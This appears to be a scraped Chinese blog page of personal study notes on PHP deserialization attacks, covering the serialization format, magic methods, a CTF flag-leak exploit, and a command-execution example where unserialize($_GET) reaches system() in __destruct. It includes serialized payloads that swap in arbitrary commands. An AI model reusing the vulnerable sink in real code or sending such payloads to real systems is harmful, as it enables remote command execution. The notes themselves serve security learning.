php反序列化个人笔记
反序列化
什么是反序列化?
格式转换
序列化:对象转换为字符串或者数组等格式
反序列化:将数组或字符串转换成对象
为什么会出现安全漏洞?
魔术方法
如何利用漏洞?
通过构造pop链,找到代码的逻辑漏洞,进行getshell,rce等操作
反序列化利用分为三类
- 魔术方法的调用逻辑
- 语言原生类的调用逻辑,如SoapClient
- 语言自身的安全缺陷,如CVE-2016-7124
序列化

在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的
PHP基本类型的序列化
bool: b:value =>b:0
int: i:value=>i:1
str: s:length:“value”;=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL: N

序列化前
<?php
class test{
public $a=false;
public $b=3;
public $c='hello';
public $d=array(1,2,3,'hello');
public $e=NULL;
}
$test = new test;
echo serialize($test);
?>
序列化后
O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}
R与r
当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。
不过基础类型不受此条件限制,总是会被序列化
为什么?(看完“分析”以后再看这里)
<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}
而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示
<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}
魔术方法
| 魔术方法 | 说明 |
|---|---|
| __construct() | 构造函数,当对象new时会自动调用 |
| __destruct() | 折构函数,当对象被销毁时会被自动调用 |
| __wakeup() | unserialize() 时会被自动调用,在其之前 |
| __invoke() | 当尝试以调用函数的方法调用一个对象时,会被自动调用 |
| __call() | 当尝试以调用函数的方法调用一个对象时,会被自动调用 |
| __callStack() | 在静态上下文中调用不可访问的方法时触发 |
| __get() | 用于从不可访问的属性读取数据 |
| __set() | 用于将数据写入不可访问的属性 |
| __isset() | 在不可访问的属性上调用isset()或empty()触发 |
| __unset() | 在不可访问的属性上使用unset()时触发 |
| __toString() | 在类被当作字符串使用时触发,如echo |
| __sleep() | serialize()函数会检查类中是否存在一个魔术方法__sleep,如果存在,该方法会被优先调用 |
这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法
eg:例如题目中有一个类名为Clazz的class类,比如当我 们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct
exp:
<?php
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?>
序列化后得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
R为2代表是第二个反序列化元素被引用
POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=
<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
<?php
class Clazz
{
public $a;
public $b;
}
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);
这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。
当我们把payload传进data之后,在@unserialize($_POST['data'])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b
这里的 @ 前缀作用如下:
- 抑制错误:如果
unserialize($_POST['data'])在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。 - 继续执行:即使
unserialize()函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。 - 安全风险:使用
@错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用@运算符掩盖其利用反序列化漏洞执行恶意代码的过程。
核心例子
这是一段php代码
<?php
class C{
public $cmd = 'ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
$cc = new C();
echo serialize($cc);
?>

这是执行效果,会echo一个xiaodisec,再打印出序列化后的cc,然后执行ipconfig
我们把代码改一下
<?php
class C{
public $cmd = 'ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//$cc = new C();
//echo serialize($cc);//O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}
unserialize($_GET[c]);
?>
我们把上面构造好的exp序列化之后,传入c中,可以完成ipconfig
然而我们可以做的并不止这个,在我们的payloadO:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}中,我们要执行的命令时ipconfig,他是一个public变量,我们在传入这个序列化字符串的时候,还可以做到更改这个变量的信息,例如:O:1:"C":1:{s:3:"cmd";s:3:"ver";}
(ver:查看当前操作系统的版本号)
php反序列化个人笔记的更多相关文章
- C#序列化与反序列化学习笔记
本笔记摘抄自:https://www.cnblogs.com/maitian-lf/p/3670570.html,记录一下学习过程以备后续查用. 序列化是把一个内存中的对象的信息转化成一个可以持久化保 ...
- c#中对json数据的序列化和反序列化(笔记)
今天遇到在后台中要获取json格式数据里的某些值,网上查了些资料: string jsonstr = _vCustomerService.LoadCustomerbyNumTotalData(quer ...
- fastjson 反序列化漏洞笔记,比较乱
现在思路还是有点乱,希望后面能重新写 先上pon.xml 包 <?xml version="1.0" encoding="UTF-8"?> < ...
- java中的序列化和反序列化学习笔记
须要序列化的Person类: package cn.itcast_07; import java.io.Serializable; /* * NotSerializableException:未序列化 ...
- 前端JS 与 后台C# 之间JSON序列化与反序列化(笔记)
JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式. 在 前端浏览器 和 后端服务器 之间通常会使用 JSON格式的数据 来进行数据交互,而JSON格式的 ...
- python反序列化研究学习
零.补充: 补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输. ...
- WebAPI调用笔记 ASP.NET CORE 学习之自定义异常处理 MySQL数据库查询优化建议 .NET操作XML文件之泛型集合的序列化与反序列化 Asp.Net Core 轻松学-多线程之Task快速上手 Asp.Net Core 轻松学-多线程之Task(补充)
WebAPI调用笔记 前言 即时通信项目中初次调用OA接口遇到了一些问题,因为本人从业后几乎一直做CS端项目,一个简单的WebAPI调用居然浪费了不少时间,特此记录. 接口描述 首先说明一下,基于 ...
- CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记
weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...
- GSON使用笔记(3) -- 如何反序列化出List
GSON使用笔记(3) -- 如何反序列化出List 时间 2014-06-26 17:57:06 CSDN博客原文 http://blog.csdn.net/zxhoo/article/deta ...
- .net学习笔记--序列化与反序列化
序列化其实就是将一个对象的所有相关的数据保存为一个二进制文件(注意:是一个对象) 而且与这个对象相关的所有类型都必须是可序列化的所以要在相关类中加上 [Serializable]特性 对象类型包括:对 ...
随机推荐
- [Go] 注意 go build -o <output> 选项的准确含义
-o <output> 选项强制执行把构建的可执行文件写入到目标文件或者目标目录中. 如果 output 是已存在的目录,那么所有构建好的文件都将写入到该目录中. 注意:如果目录不存在的话 ...
- dotnet 推荐一个使用 Json 直接路由通讯的 IPC 库
本文将和大家推荐一个我所在团队开源的本机多进程通讯 IPC 库,此 IPC 支持使用 JSON 格式进行直接路由通讯,具有使用方便,稳定性高,性能好的优点 这是我所在的团队在 GitHub 上使用最友 ...
- Fixing Missing Windows App Runtime Environment Prompt for Unpackaged WinUI 3 Applications
This article will tell you how to fix the prompt for a missing Windows App Runtime environment when ...
- dotnet C# 高性能配置文件读写库 dotnetCampus.Configurations 简介
在应用程序运行的时,需要根据不同的配置执行不同的内容.有很多根据配置而初始化的功能往往是在应用程序启动的时候需要执行.对于很多类型的应用程序,特别是客户端的应用程序,启动的性能特别重要.也因此,在启动 ...
- The instance of entity type 'Model' cannot be tracked because another instance with the same key value for {'Id'} is already being tracked.
The instance of entity type 'Model' cannot be tracked because another instance with the same key val ...
- CF1872G
题意:一个正整数序列,\(a[i] < 10^9\),求 \(l\),\(r\),最大化 \[\sum_{i = 1}^{l - 1} a[i] + \prod_{i = l}^r a[i] + ...
- 51k+ Star!动画图解、一键运行的数据结构与算法教程!
大家好,我是 Java陈序员. 我们都知道,<数据结构与算法> -- 是程序员的必修课. 无论是使用什么编程语音,亦或者是前后端开发,都需要修好<数据结构与算法>这门课! 在各 ...
- Redis官方开源的可视化管理工具 - RedisInsight
前言 今天大姚给大家推荐一款Redis官方开源的可视化管理工具:RedisInsight. Redis介绍 Redis (Remote Dictionary Server) 是一个使用 C 语言编写的 ...
- three.js教程3-模型对象、材质material
1.Object3D的position和scale是三维向量Vector3 因此模型的位置和缩放等变化,也是使用Vector3的属性和方法实现,查询文档Vector3. 三维向量Vector3有xyz ...
- C 语言编程 — 高级数据类型 — 数组
目录 文章目录 目录 前文列表 数组 声明数组 初始化数据 访问数组元素 二维数组 指向数组的指针 将数组指针作为实参传入函数 从函数返回一个数组指针 指针数组 数组名和取数组首地址的区别 前文列表 ...